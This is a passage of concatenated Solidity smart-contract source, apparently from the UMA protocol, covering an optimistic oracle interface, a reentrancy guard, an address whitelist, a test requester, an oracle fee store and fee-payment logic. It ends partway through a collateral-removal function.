bytes memory ancillaryData,
uint256 bond
) external virtual returns (uint256 totalBond);
/**
* @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller
* in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's
* bond, so there is still profit to be made even if the reward is refunded.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
*/
function setRefundOnDispute(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual;
/**
* @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before
* being auto-resolved.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param customLiveness new custom liveness.
*/
function setCustomLiveness(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 customLiveness
) external virtual;
/**
* @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come
* from this proposal. However, any bonds are pulled from the caller.
* @param proposer address to set as the proposer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePriceFor(
address proposer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) public virtual returns (uint256 totalBond);
/**
* @notice Proposes a price value for an existing price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) external virtual returns (uint256 totalBond);
/**
* @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will
* receive any rewards that come from this dispute. However, any bonds are pulled from the caller.
* @param disputer address to set as the disputer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was value (the proposal was incorrect).
*/
function disputePriceFor(
address disputer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public virtual returns (uint256 totalBond);
/**
* @notice Disputes a price value for an existing price request with an active proposal.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (uint256 totalBond);
/**
* @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled
* or settleable. Note: this method is not view so that this call may actually settle the price request if it
* hasn't been settled.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return resolved price.
*/
function settleAndGetPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (int256);
/**
* @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes
* the returned bonds as well as additional rewards.
*/
function settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (uint256 payout);
/**
* @notice Gets the current data structure containing all information about a price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the Request data structure.
*/
function getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (Request memory);
function getState(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (State);
/**
* @notice Checks if a given request has resolved or been settled (i.e the optimistic oracle has a price).
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the State.
*/
function hasPrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title A contract that provides modifiers to prevent reentrancy to state-changing and view-only methods. This contract
* is inspired by https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol
* and https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol.
*/
contract Lockable {
bool private _notEntered;
constructor() internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_preEntranceCheck();
_preEntranceSet();
_;
_postEntranceReset();
}
/**
* @dev Designed to prevent a view-only method from being re-entered during a call to a `nonReentrant()` state-changing method.
*/
modifier nonReentrantView() {
_preEntranceCheck();
_;
}
// Internal methods are used to avoid copying the require statement's bytecode to every `nonReentrant()` method.
// On entry into a function, `_preEntranceCheck()` should always be called to check if the function is being re-entered.
// Then, if the function modifies state, it should call `_postEntranceSet()`, perform its logic, and then call `_postEntranceReset()`.
// View-only methods can simply call `_preEntranceCheck()` to make sure that it is not being re-entered.
function _preEntranceCheck() internal view {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
}
function _preEntranceSet() internal {
// Any calls to nonReentrant after this point will fail
_notEntered = false;
}
function _postEntranceReset() internal {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./Lockable.sol";
/**
* @title A contract to track a whitelist of addresses.
*/
contract AddressWhitelist is Ownable, Lockable {
enum Status { None, In, Out }
mapping(address => Status) public whitelist;
address[] public whitelistIndices;
event AddedToWhitelist(address indexed addedAddress);
event RemovedFromWhitelist(address indexed removedAddress);
/**
* @notice Adds an address to the whitelist.
* @param newElement the new address to add.
*/
function addToWhitelist(address newElement) external nonReentrant() onlyOwner {
// Ignore if address is already included
if (whitelist[newElement] == Status.In) {
return;
}
// Only append new addresses to the array, never a duplicate
if (whitelist[newElement] == Status.None) {
whitelistIndices.push(newElement);
}
whitelist[newElement] = Status.In;
emit AddedToWhitelist(newElement);
}
/**
* @notice Removes an address from the whitelist.
* @param elementToRemove the existing address to remove.
*/
function removeFromWhitelist(address elementToRemove) external nonReentrant() onlyOwner {
if (whitelist[elementToRemove] != Status.Out) {
whitelist[elementToRemove] = Status.Out;
emit RemovedFromWhitelist(elementToRemove);
}
}
/**
* @notice Checks whether an address is on the whitelist.
* @param elementToCheck the address to check.
* @return True if `elementToCheck` is on the whitelist, or False.
*/
function isOnWhitelist(address elementToCheck) external view nonReentrantView() returns (bool) {
return whitelist[elementToCheck] == Status.In;
}
/**
* @notice Gets all addresses that are currently included in the whitelist.
* @dev Note: This method skips over, but still iterates through addresses. It is possible for this call to run out
* of gas if a large number of addresses have been removed. To reduce the likelihood of this unlikely scenario, we
* can modify the implementation so that when addresses are removed, the last addresses in the array is moved to
* the empty index.
* @return activeWhitelist the list of addresses on the whitelist.
*/
function getWhitelist() external view nonReentrantView() returns (address[] memory activeWhitelist) {
// Determine size of whitelist first
uint256 activeCount = 0;
for (uint256 i = 0; i < whitelistIndices.length; i++) {
if (whitelist[whitelistIndices[i]] == Status.In) {
activeCount++;
}
}
// Populate whitelist
activeWhitelist = new address[](activeCount);
activeCount = 0;
for (uint256 i = 0; i < whitelistIndices.length; i++) {
address addr = whitelistIndices[i];
if (whitelist[addr] == Status.In) {
activeWhitelist[activeCount] = addr;
activeCount++;
}
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../OptimisticOracle.sol";
// This is just a test contract to make requests to the optimistic oracle.
contract OptimisticRequesterTest is OptimisticRequester {
OptimisticOracle optimisticOracle;
bool public shouldRevert = false;
// State variables to track incoming calls.
bytes32 public identifier;
uint256 public timestamp;
bytes public ancillaryData;
uint256 public refund;
int256 public price;
// Implement collateralCurrency so that this contract simulates a financial contract whose collateral
// token can be fetched by off-chain clients.
IERC20 public collateralCurrency;
// Manually set an expiration timestamp to simulate expiry price requests
uint256 public expirationTimestamp;
constructor(OptimisticOracle _optimisticOracle) public {
optimisticOracle = _optimisticOracle;
}
function requestPrice(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
IERC20 currency,
uint256 reward
) external {
// Set collateral currency to last requested currency:
collateralCurrency = currency;
currency.approve(address(optimisticOracle), reward);
optimisticOracle.requestPrice(_identifier, _timestamp, _ancillaryData, currency, reward);
}
function settleAndGetPrice(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external returns (int256) {
return optimisticOracle.settleAndGetPrice(_identifier, _timestamp, _ancillaryData);
}
function setBond(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 bond
) external {
optimisticOracle.setBond(_identifier, _timestamp, _ancillaryData, bond);
}
function setRefundOnDispute(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external {
optimisticOracle.setRefundOnDispute(_identifier, _timestamp, _ancillaryData);
}
function setCustomLiveness(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 customLiveness
) external {
optimisticOracle.setCustomLiveness(_identifier, _timestamp, _ancillaryData, customLiveness);
}
function setRevert(bool _shouldRevert) external {
shouldRevert = _shouldRevert;
}
function setExpirationTimestamp(uint256 _expirationTimestamp) external {
expirationTimestamp = _expirationTimestamp;
}
function clearState() external {
delete identifier;
delete timestamp;
delete refund;
delete price;
}
function priceProposed(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
}
function priceDisputed(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 _refund
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
refund = _refund;
}
function priceSettled(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
int256 _price
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
price = _price;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/MultiRole.sol";
import "../../common/implementation/Withdrawable.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/StoreInterface.sol";
/**
* @title An implementation of Store that can accept Oracle fees in ETH or any arbitrary ERC20 token.
*/
contract Store is StoreInterface, Withdrawable, Testable {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for uint256;
using SafeERC20 for IERC20;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles { Owner, Withdrawer }
FixedPoint.Unsigned public fixedOracleFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% Oracle fee.
FixedPoint.Unsigned public weeklyDelayFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% weekly delay fee.
mapping(address => FixedPoint.Unsigned) public finalFees;
uint256 public constant SECONDS_PER_WEEK = 604800;
/****************************************
* EVENTS *
****************************************/
event NewFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned newOracleFee);
event NewWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned newWeeklyDelayFeePerSecondPerPfc);
event NewFinalFee(FixedPoint.Unsigned newFinalFee);
/**
* @notice Construct the Store contract.
*/
constructor(
FixedPoint.Unsigned memory _fixedOracleFeePerSecondPerPfc,
FixedPoint.Unsigned memory _weeklyDelayFeePerSecondPerPfc,
address _timerAddress
) public Testable(_timerAddress) {
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
_createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Owner), msg.sender);
setFixedOracleFeePerSecondPerPfc(_fixedOracleFeePerSecondPerPfc);
setWeeklyDelayFeePerSecondPerPfc(_weeklyDelayFeePerSecondPerPfc);
}
/****************************************
* ORACLE FEE CALCULATION AND PAYMENT *
****************************************/
/**
* @notice Pays Oracle fees in ETH to the store.
* @dev To be used by contracts whose margin currency is ETH.
*/
function payOracleFees() external payable override {
require(msg.value > 0, "Value sent can't be zero");
}
/**
* @notice Pays oracle fees in the margin currency, erc20Address, to the store.
* @dev To be used if the margin currency is an ERC20 token rather than ETH.
* @param erc20Address address of the ERC20 token used to pay the fee.
* @param amount number of tokens to transfer. An approval for at least this amount must exist.
*/
function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external override {
IERC20 erc20 = IERC20(erc20Address);
require(amount.isGreaterThan(0), "Amount sent can't be zero");
erc20.safeTransferFrom(msg.sender, address(this), amount.rawValue);
}
/**
* @notice Computes the regular oracle fees that a contract should pay for a period.
* @dev The late penalty is similar to the regular fee in that is is charged per second over the period between
* startTime and endTime.
*
* The late penalty percentage increases over time as follows:
*
* - 0-1 week since startTime: no late penalty
*
* - 1-2 weeks since startTime: 1x late penalty percentage is applied
*
* - 2-3 weeks since startTime: 2x late penalty percentage is applied
*
* - ...
*
* @param startTime defines the beginning time from which the fee is paid.
* @param endTime end time until which the fee is paid.
* @param pfc "profit from corruption", or the maximum amount of margin currency that a
* token sponsor could extract from the contract through corrupting the price feed in their favor.
* @return regularFee amount owed for the duration from start to end time for the given pfc.
* @return latePenalty penalty percentage, if any, for paying the fee after the deadline.
*/
function computeRegularFee(
uint256 startTime,
uint256 endTime,
FixedPoint.Unsigned calldata pfc
) external view override returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty) {
uint256 timeDiff = endTime.sub(startTime);
// Multiply by the unscaled `timeDiff` first, to get more accurate results.
regularFee = pfc.mul(timeDiff).mul(fixedOracleFeePerSecondPerPfc);
// Compute how long ago the start time was to compute the delay penalty.
uint256 paymentDelay = getCurrentTime().sub(startTime);
// Compute the additional percentage (per second) that will be charged because of the penalty.
// Note: if less than a week has gone by since the startTime, paymentDelay / SECONDS_PER_WEEK will truncate to
// 0, causing no penalty to be charged.
FixedPoint.Unsigned memory penaltyPercentagePerSecond =
weeklyDelayFeePerSecondPerPfc.mul(paymentDelay.div(SECONDS_PER_WEEK));
// Apply the penaltyPercentagePerSecond to the payment period.
latePenalty = pfc.mul(timeDiff).mul(penaltyPercentagePerSecond);
}
/**
* @notice Computes the final oracle fees that a contract should pay at settlement.
* @param currency token used to pay the final fee.
* @return finalFee amount due denominated in units of `currency`.
*/
function computeFinalFee(address currency) external view override returns (FixedPoint.Unsigned memory) {
return finalFees[currency];
}
/****************************************
* ADMIN STATE MODIFYING FUNCTIONS *
****************************************/
/**
* @notice Sets a new oracle fee per second.
* @param newFixedOracleFeePerSecondPerPfc new fee per second charged to use the oracle.
*/
function setFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned memory newFixedOracleFeePerSecondPerPfc)
public
onlyRoleHolder(uint256(Roles.Owner))
{
// Oracle fees at or over 100% don't make sense.
require(newFixedOracleFeePerSecondPerPfc.isLessThan(1), "Fee must be < 100% per second.");
fixedOracleFeePerSecondPerPfc = newFixedOracleFeePerSecondPerPfc;
emit NewFixedOracleFeePerSecondPerPfc(newFixedOracleFeePerSecondPerPfc);
}
/**
* @notice Sets a new weekly delay fee.
* @param newWeeklyDelayFeePerSecondPerPfc fee escalation per week of late fee payment.
*/
function setWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned memory newWeeklyDelayFeePerSecondPerPfc)
public
onlyRoleHolder(uint256(Roles.Owner))
{
require(newWeeklyDelayFeePerSecondPerPfc.isLessThan(1), "weekly delay fee must be < 100%");
weeklyDelayFeePerSecondPerPfc = newWeeklyDelayFeePerSecondPerPfc;
emit NewWeeklyDelayFeePerSecondPerPfc(newWeeklyDelayFeePerSecondPerPfc);
}
/**
* @notice Sets a new final fee for a particular currency.
* @param currency defines the token currency used to pay the final fee.
* @param newFinalFee final fee amount.
*/
function setFinalFee(address currency, FixedPoint.Unsigned memory newFinalFee)
public
onlyRoleHolder(uint256(Roles.Owner))
{
finalFees[currency] = newFinalFee;
emit NewFinalFee(newFinalFee);
}
}
/**
* Withdrawable contract.
*/
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./MultiRole.sol";
/**
* @title Base contract that allows a specific role to withdraw any ETH and/or ERC20 tokens that the contract holds.
*/
abstract contract Withdrawable is MultiRole {
using SafeERC20 for IERC20;
uint256 private roleId;
/**
* @notice Withdraws ETH from the contract.
*/
function withdraw(uint256 amount) external onlyRoleHolder(roleId) {
Address.sendValue(msg.sender, amount);
}
/**
* @notice Withdraws ERC20 tokens from the contract.
* @param erc20Address ERC20 token to withdraw.
* @param amount amount of tokens to withdraw.
*/
function withdrawErc20(address erc20Address, uint256 amount) external onlyRoleHolder(roleId) {
IERC20 erc20 = IERC20(erc20Address);
erc20.safeTransfer(msg.sender, amount);
}
/**
* @notice Internal method that allows derived contracts to create a role for withdrawal.
* @dev Either this method or `_setWithdrawRole` must be called by the derived class for this contract to function
* properly.
* @param newRoleId ID corresponding to role whose members can withdraw.
* @param managingRoleId ID corresponding to managing role who can modify the withdrawable role's membership.
* @param withdrawerAddress new manager of withdrawable role.
*/
function _createWithdrawRole(
uint256 newRoleId,
uint256 managingRoleId,
address withdrawerAddress
) internal {
roleId = newRoleId;
_createExclusiveRole(newRoleId, managingRoleId, withdrawerAddress);
}
/**
* @notice Internal method that allows derived contracts to choose the role for withdrawal.
* @dev The role `setRoleId` must exist. Either this method or `_createWithdrawRole` must be
* called by the derived class for this contract to function properly.
* @param setRoleId ID corresponding to role whose members can withdraw.
*/
function _setWithdrawRole(uint256 setRoleId) internal onlyValidRole(setRoleId) {
roleId = setRoleId;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../../oracle/interfaces/StoreInterface.sol";
import "../../oracle/interfaces/FinderInterface.sol";
import "../../oracle/interfaces/AdministrateeInterface.sol";
import "../../oracle/implementation/Constants.sol";
/**
* @title FeePayer contract.
* @notice Provides fee payment functionality for the ExpiringMultiParty contract.
* contract is abstract as each derived contract that inherits `FeePayer` must implement `pfc()`.
*/
abstract contract FeePayer is AdministrateeInterface, Testable, Lockable {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
/****************************************
* FEE PAYER DATA STRUCTURES *
****************************************/
// The collateral currency used to back the positions in this contract.
IERC20 public collateralCurrency;
// Finder contract used to look up addresses for UMA system contracts.
FinderInterface public finder;
// Tracks the last block time when the fees were paid.
uint256 private lastPaymentTime;
// Tracks the cumulative fees that have been paid by the contract for use by derived contracts.
// The multiplier starts at 1, and is updated by computing cumulativeFeeMultiplier * (1 - effectiveFee).
// Put another way, the cumulativeFeeMultiplier is (1 - effectiveFee1) * (1 - effectiveFee2) ...
// For example:
// The cumulativeFeeMultiplier should start at 1.
// If a 1% fee is charged, the multiplier should update to .99.
// If another 1% fee is charged, the multiplier should be 0.99^2 (0.9801).
FixedPoint.Unsigned public cumulativeFeeMultiplier;
/****************************************
* EVENTS *
****************************************/
event RegularFeesPaid(uint256 indexed regularFee, uint256 indexed lateFee);
event FinalFeesPaid(uint256 indexed amount);
/****************************************
* MODIFIERS *
****************************************/
// modifier that calls payRegularFees().
modifier fees virtual {
// Note: the regular fee is applied on every fee-accruing transaction, where the total change is simply the
// regular fee applied linearly since the last update. This implies that the compounding rate depends on the
// frequency of update transactions that have this modifier, and it never reaches the ideal of continuous
// compounding. This approximate-compounding pattern is common in the Ethereum ecosystem because of the
// complexity of compounding data on-chain.
payRegularFees();
_;
}
/**
* @notice Constructs the FeePayer contract. Called by child contracts.
* @param _collateralAddress ERC20 token that is used as the underlying collateral for the synthetic.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
address _collateralAddress,
address _finderAddress,
address _timerAddress
) public Testable(_timerAddress) {
collateralCurrency = IERC20(_collateralAddress);
finder = FinderInterface(_finderAddress);
lastPaymentTime = getCurrentTime();
cumulativeFeeMultiplier = FixedPoint.fromUnscaledUint(1);
}
/****************************************
* FEE PAYMENT FUNCTIONS *
****************************************/
/**
* @notice Pays UMA DVM regular fees (as a % of the collateral pool) to the Store contract.
* @dev These must be paid periodically for the life of the contract. If the contract has not paid its regular fee
* in a week or more then a late penalty is applied which is sent to the caller. If the amount of
* fees owed are greater than the pfc, then this will pay as much as possible from the available collateral.
* An event is only fired if the fees charged are greater than 0.
* @return totalPaid Amount of collateral that the contract paid (sum of the amount paid to the Store and caller).
* This returns 0 and exit early if there is no pfc, fees were already paid during the current block, or the fee rate is 0.
*/
function payRegularFees() public nonReentrant() returns (FixedPoint.Unsigned memory) {
uint256 time = getCurrentTime();
FixedPoint.Unsigned memory collateralPool = _pfc();
// Fetch the regular fees, late penalty and the max possible to pay given the current collateral within the contract.
(
FixedPoint.Unsigned memory regularFee,
FixedPoint.Unsigned memory latePenalty,
FixedPoint.Unsigned memory totalPaid
) = getOutstandingRegularFees(time);
lastPaymentTime = time;
// If there are no fees to pay then exit early.
if (totalPaid.isEqual(0)) {
return totalPaid;
}
emit RegularFeesPaid(regularFee.rawValue, latePenalty.rawValue);
_adjustCumulativeFeeMultiplier(totalPaid, collateralPool);
if (regularFee.isGreaterThan(0)) {
StoreInterface store = _getStore();
collateralCurrency.safeIncreaseAllowance(address(store), regularFee.rawValue);
store.payOracleFeesErc20(address(collateralCurrency), regularFee);
}
if (latePenalty.isGreaterThan(0)) {
collateralCurrency.safeTransfer(msg.sender, latePenalty.rawValue);
}
return totalPaid;
}
/**
* @notice Fetch any regular fees that the contract has pending but has not yet paid. If the fees to be paid are more
* than the total collateral within the contract then the totalPaid returned is full contract collateral amount.
* @dev This returns 0 and exit early if there is no pfc, fees were already paid during the current block, or the fee rate is 0.
* @return regularFee outstanding unpaid regular fee.
* @return latePenalty outstanding unpaid late fee for being late in previous fee payments.
* @return totalPaid Amount of collateral that the contract paid (sum of the amount paid to the Store and caller).
*/
function getOutstandingRegularFees(uint256 time)
public
view
returns (
FixedPoint.Unsigned memory regularFee,
FixedPoint.Unsigned memory latePenalty,
FixedPoint.Unsigned memory totalPaid
)
{
StoreInterface store = _getStore();
FixedPoint.Unsigned memory collateralPool = _pfc();
// Exit early if there is no collateral or if fees were already paid during this block.
if (collateralPool.isEqual(0) || lastPaymentTime == time) {
return (regularFee, latePenalty, totalPaid);
}
(regularFee, latePenalty) = store.computeRegularFee(lastPaymentTime, time, collateralPool);
totalPaid = regularFee.add(latePenalty);
if (totalPaid.isEqual(0)) {
return (regularFee, latePenalty, totalPaid);
}
// If the effective fees paid as a % of the pfc is > 100%, then we need to reduce it and make the contract pay
// as much of the fee that it can (up to 100% of its pfc). We'll reduce the late penalty first and then the
// regular fee, which has the effect of paying the store first, followed by the caller if there is any fee remaining.
if (totalPaid.isGreaterThan(collateralPool)) {
FixedPoint.Unsigned memory deficit = totalPaid.sub(collateralPool);
FixedPoint.Unsigned memory latePenaltyReduction = FixedPoint.min(latePenalty, deficit);
latePenalty = latePenalty.sub(latePenaltyReduction);
deficit = deficit.sub(latePenaltyReduction);
regularFee = regularFee.sub(FixedPoint.min(regularFee, deficit));
totalPaid = collateralPool;
}
}
/**
* @notice Gets the current profit from corruption for this contract in terms of the collateral currency.
* @dev This is equivalent to the collateral pool available from which to pay fees. Therefore, derived contracts are
* expected to implement this so that pay-fee methods can correctly compute the owed fees as a % of PfC.
* @return pfc value for equal to the current profit from corruption denominated in collateral currency.
*/
function pfc() external view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _pfc();
}
/**
* @notice Removes excess collateral balance not counted in the PfC by distributing it out pro-rata to all sponsors.
* @dev Multiplying the `cumulativeFeeMultiplier` by the ratio of non-PfC-collateral :: PfC-collateral effectively
* pays all sponsors a pro-rata portion of the excess collateral.
* @dev This will revert if PfC is 0 and this contract's collateral balance > 0.
*/
function gulp() external nonReentrant() {
_gulp();
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Pays UMA Oracle final fees of `amount` in `collateralCurrency` to the Store contract. Final fee is a flat fee
// charged for each price request. If payer is the contract, adjusts internal bookkeeping variables. If payer is not
// the contract, pulls in `amount` of collateral currency.
function _payFinalFees(address payer, FixedPoint.Unsigned memory amount) internal {
if (amount.isEqual(0)) {
return;
}
if (payer != address(this)) {
// If the payer is not the contract pull the collateral from the payer.
collateralCurrency.safeTransferFrom(payer, address(this), amount.rawValue);
} else {
// If the payer is the contract, adjust the cumulativeFeeMultiplier to compensate.
FixedPoint.Unsigned memory collateralPool = _pfc();
// The final fee must be < available collateral or the fee will be larger than 100%.
// Note: revert reason removed to save bytecode.
require(collateralPool.isGreaterThan(amount));
_adjustCumulativeFeeMultiplier(amount, collateralPool);
}
emit FinalFeesPaid(amount.rawValue);
StoreInterface store = _getStore();
collateralCurrency.safeIncreaseAllowance(address(store), amount.rawValue);
store.payOracleFeesErc20(address(collateralCurrency), amount);
}
function _gulp() internal {
FixedPoint.Unsigned memory currentPfc = _pfc();
FixedPoint.Unsigned memory currentBalance = FixedPoint.Unsigned(collateralCurrency.balanceOf(address(this)));
if (currentPfc.isLessThan(currentBalance)) {
cumulativeFeeMultiplier = cumulativeFeeMultiplier.mul(currentBalance.div(currentPfc));
}
}
function _pfc() internal view virtual returns (FixedPoint.Unsigned memory);
function _getStore() internal view returns (StoreInterface) {
return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store));
}
function _computeFinalFees() internal view returns (FixedPoint.Unsigned memory finalFees) {
StoreInterface store = _getStore();
return store.computeFinalFee(address(collateralCurrency));
}
// Returns the user's collateral minus any fees that have been subtracted since it was originally
// deposited into the contract. Note: if the contract has paid fees since it was deployed, the raw
// value should be larger than the returned value.
function _getFeeAdjustedCollateral(FixedPoint.Unsigned memory rawCollateral)
internal
view
returns (FixedPoint.Unsigned memory collateral)
{
return rawCollateral.mul(cumulativeFeeMultiplier);
}
// Returns the user's collateral minus any pending fees that have yet to be subtracted.
function _getPendingRegularFeeAdjustedCollateral(FixedPoint.Unsigned memory rawCollateral)
internal
view
returns (FixedPoint.Unsigned memory)
{
(, , FixedPoint.Unsigned memory currentTotalOutstandingRegularFees) =
getOutstandingRegularFees(getCurrentTime());
if (currentTotalOutstandingRegularFees.isEqual(FixedPoint.fromUnscaledUint(0))) return rawCollateral;
// Calculate the total outstanding regular fee as a fraction of the total contract PFC.
FixedPoint.Unsigned memory effectiveOutstandingFee = currentTotalOutstandingRegularFees.divCeil(_pfc());
// Scale as rawCollateral* (1 - effectiveOutstandingFee) to apply the pro-rata amount to the regular fee.
return rawCollateral.mul(FixedPoint.fromUnscaledUint(1).sub(effectiveOutstandingFee));
}
// Converts a user-readable collateral value into a raw value that accounts for already-assessed fees. If any fees
// have been taken from this contract in the past, then the raw value will be larger than the user-readable value.
function _convertToRawCollateral(FixedPoint.Unsigned memory collateral)
internal
view
returns (FixedPoint.Unsigned memory rawCollateral)
{
return collateral.div(cumulativeFeeMultiplier);
}
// Decrease rawCollateral by a fee-adjusted collateralToRemove amount. Fee adjustment scales up collateralToRemove
// by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore
// rawCollateral is decreased by less than expected. Because this method is usually called in conjunction with an
// actual removal of collateral from this contract, return the fee-adjusted amount that the rawCollateral is
// decreased by so that the caller can minimize error between collateral removed and rawCollateral debited.
function _removeCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToRemove)
internal
returns (FixedPoint.Unsigned memory removedCollateral)
{
FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral);
FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToRemove);
